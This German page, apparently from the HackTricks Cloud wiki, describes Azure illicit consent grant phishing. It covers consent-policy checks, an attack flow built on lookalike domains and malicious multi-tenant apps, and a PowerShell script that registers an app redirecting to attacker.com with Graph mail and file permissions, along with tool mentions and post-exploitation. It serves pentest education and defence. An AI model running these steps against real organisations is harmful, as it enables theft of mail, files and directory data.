German - Ht Cloud
HackTricks Training Twitter Linkedin Sponsor

Az - Illicit Consent Grant

Unterstütze HackTricks

OAuth App Phishing

Azure Applications fragen nach Berechtigungen, um auf die Benutzerdaten zuzugreifen (Basisinformationen, aber auch Zugriff auf Dokumente, E-Mails senden...). Wenn erlaubt, kann ein normaler Benutzer nur für "Low Impact"-Berechtigungen Zustimmung erteilen. In allen anderen Fällen ist Admin-Zustimmung erforderlich. GA, ApplicationAdministrator, CloudApplication Administrator und eine benutzerdefinierte Rolle, die Berechtigung zur Erteilung von Berechtigungen an Anwendungen umfasst, können eine mandantenweite Zustimmung erteilen.

Nur Berechtigungen, die keine Admin-Zustimmung erfordern, werden als geringe Auswirkung eingestuft. Diese sind Berechtigungen, die für grundlegende Anmeldungen erforderlich sind, wie openid, profile, email, User.Read und offline_access. Wenn eine Organisation **Benutzerzustimmung für alle Apps erlaubt, kann ein Mitarbeiter einer App die Zustimmung erteilen, die obigen Informationen aus ihrem Profil zu lesen.

Daher könnte ein Angreifer eine bösartige App vorbereiten und mit einem Phishing den Benutzer dazu bringen, die App zu akzeptieren und seine Daten zu stehlen.

2 Arten von Illicit Consent Grant Angriffen

  • Unauthenticated: Von einem externen Konto eine Anwendung mit den Berechtigungen User.Read und User.ReadBasic.All erstellen, einen Benutzer phishen und du kannst auf Verzeichnisinformationen zugreifen.

  • Dies erfordert, dass der gephishete Benutzer in der Lage ist, OAuth-Apps aus externen Umgebungen zu akzeptieren!

  • Authenticated: Nachdem ein Principal mit ausreichenden Privilegien kompromittiert wurde, eine Anwendung innerhalb des Kontos erstellen und einen privilegierten Benutzer phishen, der privilegierte OAuth-Berechtigungen akzeptieren kann.

  • In diesem Fall kannst du bereits auf die Informationen des Verzeichnisses zugreifen, sodass die Berechtigung User.ReadBasic.All nicht mehr interessant ist.

  • Du bist wahrscheinlich an Berechtigungen interessiert, die ein Admin erteilen muss, da ein normaler Benutzer OAuth-Apps keine Berechtigungen erteilen kann, weshalb du nur diese Benutzer phishen musst (mehr dazu, welche Rollen/Berechtigungen dieses Privileg gewähren, später)

Überprüfen, ob Benutzer zur Zustimmung berechtigt sind

Der folgende PowerShell-Befehl wird verwendet, um die Zustimmungskonfiguration für Benutzer im Azure Active Directory (Azure AD) bezüglich ihrer Fähigkeit zur Zustimmung zu Anwendungen zu überprüfen:

PS AzureADPreview> (GetAzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole

  • Benutzerzustimmung deaktivieren: Diese Einstellung verbietet es Benutzern, Anwendungen Berechtigungen zu erteilen. Keine Benutzerzustimmung zu Anwendungen ist erlaubt.

  • Benutzer können Anwendungen von verifizierten Herausgebern oder Ihrer Organisation zustimmen, aber nur für Berechtigungen, die Sie auswählen: Diese Einstellung erlaubt allen Benutzern, nur Anwendungen zuzustimmen, die von einem verifizierten Herausgeber veröffentlicht wurden und Anwendungen, die in Ihrem eigenen Mandanten registriert sind. Es fügt eine Kontrollschicht hinzu, indem es nur für spezifische Berechtigungen Zustimmung erlaubt.

  • Benutzer können allen Anwendungen zustimmen: Diese Einstellung ist permissiver und erlaubt allen Benutzern, jeder Anwendung Berechtigungen zu erteilen, solange diese Berechtigungen keine administrative Zustimmung erfordern.

  • Benutzerdefinierte App-Zustimmungspolitik: Diese Einstellung zeigt an, dass eine benutzerdefinierte Richtlinie vorhanden ist, die auf spezifische organisatorische Anforderungen zugeschnitten werden kann und möglicherweise eine Kombination von Einschränkungen basierend auf dem App-Herausgeber, den Berechtigungen, die die App anfordert, und anderen Faktoren beinhaltet.

Verständnis des Illicit Consent Grant Angriffs

Bei einem Illicit Consent Grant Angriff täuschen Angreifer Endbenutzer dazu, einer bösartigen Anwendung, die bei Azure registriert ist, Berechtigungen zu erteilen. Dies geschieht, indem die Anwendung legitim erscheint, was dazu führt, dass Opfer unwissentlich auf eine "Akzeptieren"-Schaltfläche klicken. Infolgedessen stellt Azure AD ein Token für die Seite des Angreifers aus, das es ihnen ermöglicht, auf die Daten des Opfers zuzugreifen und diese zu manipulieren, wie z.B. E-Mails zu lesen oder zu senden und auf Dateien zuzugreifen, ohne ein organisatorisches Konto zu benötigen.

Überblick über den Angriffsablauf

Der Angriff umfasst mehrere Schritte, die auf ein generisches Unternehmen abzielen. So könnte er ablaufen:

  1. Domainregistrierung und Anwendungs-Hosting: Der Angreifer registriert eine Domain, die einer vertrauenswürdigen Seite ähnelt, z.B. "safedomainlogin.com". Unter dieser Domain wird ein Subdomain erstellt (z.B. "companyname.safedomainlogin.com"), um eine Anwendung zu hosten, die Autorisierungscodes erfasst und Zugriffstoken anfordert.

  2. Anwendungsregistrierung in Azure AD: Der Angreifer registriert dann eine Multi-Tenant-Anwendung in seinem Azure AD-Mandanten und benennt sie nach dem Zielunternehmen, um legitim zu erscheinen. Sie konfigurieren die Redirect-URL der Anwendung so, dass sie auf die Subdomain zeigt, die die bösartige Anwendung hostet.

  3. Einrichten von Berechtigungen: Der Angreifer richtet die Anwendung mit verschiedenen API-Berechtigungen ein (z.B. Mail.Read, Notes.Read.All, Files.ReadWrite.All, User.ReadBasic.All, User.Read). Diese Berechtigungen, einmal vom Benutzer erteilt, ermöglichen es dem Angreifer, im Namen des Benutzers sensible Informationen zu extrahieren.

  4. Verteilen bösartiger Links: Der Angreifer erstellt einen Link, der die Client-ID der bösartigen Anwendung enthält, und teilt ihn mit den Zielbenutzern, um sie dazu zu bringen, die Zustimmung zu erteilen.

Verwendung von Tools für den Angriff

Der Angriff kann mit Tools wie 365-Stealer erleichtert werden.

Vorbereitung vor dem Angriff:

Wenn der Angreifer ein gewisses Maß an Zugriff auf einen Benutzer in der Opferorganisation hat, könnte er überprüfen, ob die Richtlinie der Organisation es dem Benutzer erlaubt, Anwendungen zu akzeptieren:

Import-Module .\AzureADPreview\AzureADPreview.psd1
$passwd = ConvertTo-SecureString "Password!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("generic@corp.onmicrosoft.com", $passwd)
Connect-AzureAD -Credential $creds
(Get-AzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole
# Check if "ManagePermissionGrantsForSelf.microsoft-user-default-legacy" is present, indicating permission to accept apps.

Um den Angriff auszuführen, müsste der Angreifer eine neue App in ihrem Azure Tenant (in App-Registrierungen) erstellen, konfiguriert mit den Berechtigungen:

User.ReadBasic.All befindet sich in Microsoft Graph unter Delegated permissions. (Anwendungsberechtigungen benötigen immer eine zusätzliche Genehmigung).

  • User.ReadBasic.All ist die Berechtigung, die es Ihnen ermöglicht, Informationen aller Benutzer in der Organisation zu lesen, wenn sie gewährt wird.

  • Denken Sie daran, dass nur GA, ApplicationAdministrator, CloudApplication Administrator und eine benutzerdefinierte Rolle, die Berechtigung zum Gewähren von Berechtigungen an Anwendungen enthält, eine tenantweite Zustimmung erteilen können. Sie sollten also einen Benutzer mit einer dieser Rollen phishen, wenn Sie möchten, dass er eine App genehmigt, die eine Admin-Zustimmung erfordert.

Sie könnten auch eine App über die CLI erstellen mit:

# Generate Application
New-AzureADApplication -DisplayName "MyApp"  -ReplyUrls @("https://attacker.com", "https://attacker.com/gettoken") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true

# Generate Secret
New-AzureADApplicationPasswordCredential -ObjectId f76ebd35-xxxx-xxxx-xxxx-xxxxxxxxxxxx -CustomKeyIdentifier "MyAppSecret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)

# Generate an application with the permissions
$objectid=New-AzureADApplication -DisplayName "AppName"  -ReplyUrls @("https://example.com/login/authorized") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true | select-object ObjectId
New-AzureADApplicationPasswordCredential -ObjectId $objectid.ObjectId -CustomKeyIdentifier "secret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)

$AppObjectID = $objectid.ObjectId # object id in AD
$app = Get-AzureADApplication -ObjectId $AppObjectID
$AADAccess = $app.RequiredResourceAccess | Where-Object {$_.ResourceAppId -eq "00000003-0000-0000-c000-000000000000"}  # "00000003-0000-0000-c000-000000000000" represents Graph API
if($AADAccess -eq $null) {
$AADAccess = New-Object Microsoft.Open.AzureAD.Model.RequiredResourceAccess
$AADAccess.ResourceAppId = "00000003-0000-0000-c000-000000000000"

$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)

$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)

$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)

$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)

$app.RequiredResourceAccess.Add($AADAccess)
} else {
$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)

$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)

$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)

$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)
}

Set-AzureADApplication -ObjectId $AppObjectID -RequiredResourceAccess $app.RequiredResourceAccess
Get-AzureADApplication -ObjectId $objectid.ObjectId | select-object appid

Schauen Sie sich https://www.alteredsecurity.com/post/introduction-to-365-stealer an, um zu erfahren, wie man es konfiguriert.

Beachten Sie, dass das erhaltene Access Token für den Graph Endpoint mit den Scopes: User.Read und User.ReadBasic.All (die angeforderten Berechtigungen) gilt. Sie werden keine anderen Aktionen durchführen können (aber diese sind ausreichend, um Informationen über alle Benutzer in der Organisation herunterzuladen).

O365-Attack-Toolkit

Sie könnten auch dieses Tool verwenden, um diesen Angriff durchzuführen.

Post-Exploitation

Sobald Sie Zugriff auf den Benutzer haben, können Sie Dinge tun wie das Stehlen sensibler Dokumente und sogar das Hochladen von Dokumenten mit Hintertüren.

Referenzen

Unterstützen Sie HackTricks
PreviousAz - Unauthenticated Enum & Initial EntryNextAz - Device Code Authentication Phishing

Last updated